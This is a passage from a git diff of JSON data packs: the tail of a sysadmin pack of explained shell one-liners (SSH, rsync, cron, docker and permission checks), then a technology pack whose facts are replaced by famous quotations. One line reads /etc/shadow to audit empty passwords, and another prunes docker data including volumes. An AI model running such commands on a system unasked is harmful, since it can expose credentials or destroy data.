+ {"category":"sysadmin","language":"shell","attribution":"Network","explanation":"Resolves a name through a specific server, which is how you tell a stale local cache from a stale zone.","content":"dig +short @1.1.1.1 example.com A"},
+ {"category":"sysadmin","language":"shell","attribution":"Permissions","explanation":"World-writable files outside the places that are meant to be. A common way a service ends up modifiable by anyone.","content":"find /etc /usr -type f -perm -o+w -ls 2>/dev/null"},
+ {"category":"sysadmin","language":"shell","attribution":"Permissions","explanation":"Copies the ownership and mode of one file onto another, rather than typing the numbers and getting them wrong.","content":"chmod --reference=/etc/passwd /etc/passwd.new && chown --reference=/etc/passwd /etc/passwd.new"},
+ {"category":"sysadmin","language":"shell","attribution":"Users","explanation":"Accounts with a real login shell, which is the set that can actually sign in.","content":"awk -F: '$7 !~ /(nologin|false)$/ {print $1, $7}' /etc/passwd"},
+ {"category":"sysadmin","language":"shell","attribution":"Users","explanation":"Accounts with an empty password field. Should return nothing on any machine you care about.","content":"sudo awk -F: '$2 == \"\" {print $1}' /etc/shadow"},
+ {"category":"sysadmin","language":"shell","attribution":"SSH","explanation":"Reuses one connection for subsequent sessions, so every later ssh or scp to the same host skips the handshake.","content":"ssh -o ControlMaster=auto -o ControlPersist=10m -o ControlPath=~/.ssh/cm-%r@%h:%p host"},
+ {"category":"sysadmin","language":"shell","attribution":"SSH","explanation":"Forwards a remote port to the local machine, so a service bound to localhost on the server is reachable here.","content":"ssh -N -L 5432:127.0.0.1:5432 dbhost"},
+ {"category":"sysadmin","language":"shell","attribution":"Backup","explanation":"Mirrors a tree, deletes what no longer exists on the source, and shows what it would do first. Never run this without -n the first time.","content":"rsync -avhn --delete /src/ /dest/"},
+ {"category":"sysadmin","language":"shell","attribution":"Backup","explanation":"Streams a directory to another host without a temporary archive on either side.","content":"tar czf - /var/www | ssh backup 'cat > www-$(date +%F).tar.gz'"},
+ {"category":"sysadmin","language":"shell","attribution":"Scheduling","explanation":"A cron entry that logs both streams. Without the redirect, cron mails the output to a mailbox nobody reads.","content":"0 3 * * * /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1"},
+ {"category":"sysadmin","language":"shell","attribution":"Containers","explanation":"Removes stopped containers, unused networks and dangling images. The usual cause of a full disk on a build host.","content":"docker system prune -af --volumes --filter 'until=168h'"}
+]
diff --git a/data/packs/technology.json b/data/packs/technology.json
index fd12785..f529758 100644
--- a/data/packs/technology.json
+++ b/data/packs/technology.json
@@ -1,17 +1,24 @@
[
- {"category":"technology","content":"The World Wide Web was invented by Tim Berners-Lee in 1989 as a way to share documents over the internet using hyperlinks.","attribution":"Technology"},
- {"category":"technology","content":"A central processing unit executes the instructions of a computer program by performing basic arithmetic, logic, and input and output operations.","attribution":"Technology"},
- {"category":"technology","content":"Cloud computing allows businesses and individuals to rent computing power and storage over the internet instead of maintaining their own physical servers.","attribution":"Technology"},
- {"category":"technology","content":"Artificial intelligence refers to computer systems designed to perform tasks that normally require human intelligence, such as recognizing speech, images, or patterns in data.","attribution":"Technology"},
- {"category":"technology","content":"A firewall monitors and controls incoming and outgoing network traffic based on predetermined security rules, acting as a barrier between a trusted network and an untrusted one.","attribution":"Technology"},
- {"category":"technology","content":"The first practical smartphones combined a mobile phone with computing features such as email, web browsing, and applications, changing how people communicate and work.","attribution":"Technology"},
- {"category":"technology","content":"Open source software is released with its source code publicly available, allowing anyone to view, modify, and distribute it under the terms of its license.","attribution":"Technology"},
- {"category":"technology","content":"A blockchain is a distributed ledger that records transactions across many computers, making it difficult to alter any single record without changing every subsequent block.","attribution":"Technology"},
- {"category":"technology","content":"Quantum computing uses the principles of quantum mechanics to process information in ways that classical computers cannot, potentially solving certain problems far faster.","attribution":"Technology"},
- {"category":"technology","content":"The transistor, invented in 1947, replaced bulky vacuum tubes and became the foundational building block of nearly every modern electronic device.","attribution":"Technology"},
- {"category":"technology","content":"Machine learning is a branch of artificial intelligence in which a system improves its performance on a task by learning patterns from data rather than following explicit instructions.","attribution":"Technology"},
- {"category":"technology","content":"Fiber optic cables transmit data as pulses of light through thin strands of glass, allowing information to travel at extremely high speeds over long distances.","attribution":"Technology"},
- {"category":"technology","content":"A virtual private network encrypts a device's internet connection, helping to protect data from being intercepted while it travels over a public or untrusted network.","attribution":"Technology"},
- {"category":"technology","content":"Moore's Law observed that the number of transistors on a computer chip tends to double roughly every two years, driving decades of rapid improvement in computing power.","attribution":"Technology"},
- {"category":"technology","content":"Robotics combines mechanical engineering, electronics, and computer science to design machines capable of performing tasks autonomously or with minimal human control.","attribution":"Technology"}
+ {"category":"technology","attribution":"Alan Kay","content":"The best way to predict the future is to invent it."},
+ {"category":"technology","attribution":"Alan Turing, Computing Machinery and Intelligence","content":"We can only see a short distance ahead, but we can see plenty there that needs to be done."},
+ {"category":"technology","attribution":"Grace Hopper","content":"The most damaging phrase in the language is: we've always done it this way."},
+ {"category":"technology","attribution":"Grace Hopper","content":"A ship in port is safe, but that's not what ships are built for."},
+ {"category":"technology","attribution":"Edsger Dijkstra","content":"Simplicity is prerequisite for reliability."},
+ {"category":"technology","attribution":"Edsger Dijkstra","content":"The question of whether a computer can think is no more interesting than the question of whether a submarine can swim."},
+ {"category":"technology","attribution":"Douglas Adams","content":"We are stuck with technology when what we really want is just stuff that works."},
+ {"category":"technology","attribution":"Arthur C. Clarke","content":"Any sufficiently advanced technology is indistinguishable from magic."},
+ {"category":"technology","attribution":"Melvin Kranzberg","content":"Technology is neither good nor bad; nor is it neutral."},
+ {"category":"technology","attribution":"Marshall McLuhan","content":"We shape our tools, and thereafter our tools shape us."},
+ {"category":"technology","attribution":"Bruce Schneier","content":"Security is a process, not a product."},
+ {"category":"technology","attribution":"Tim Berners-Lee","content":"The web as I envisaged it, we have not seen it yet. The future is still so much bigger than the past."},
+ {"category":"technology","attribution":"Vannevar Bush, As We May Think","content":"The human mind operates by association. With one item in its grasp, it snaps instantly to the next that is suggested."},
+ {"category":"technology","attribution":"Norbert Wiener","content":"We have modified our environment so radically that we must now modify ourselves to exist in this new environment."},
+ {"category":"technology","attribution":"Fred Brooks, The Mythical Man-Month","content":"Adding manpower to a late software project makes it later."},
+ {"category":"technology","attribution":"Fred Brooks, The Mythical Man-Month","content":"Plan to throw one away; you will, anyhow."},
+ {"category":"technology","attribution":"Butler Lampson","content":"All problems in computer science can be solved by another level of indirection."},
+ {"category":"technology","attribution":"Leslie Lamport","content":"A distributed system is one in which the failure of a computer you didn't know existed can render your own computer unusable."},
+ {"category":"technology","attribution":"Ken Thompson, Reflections on Trusting Trust","content":"You can't trust code that you did not totally create yourself."},
+ {"category":"technology","attribution":"Steve Jobs","content":"Design is not just what it looks like and feels like. Design is how it works."},
+ {"category":"technology","attribution":"Linus Torvalds","content":"Talk is cheap. Show me the code."},
+ {"category":"technology","attribution":"Kevlin Henney","content":"There is no code faster than no code."}
]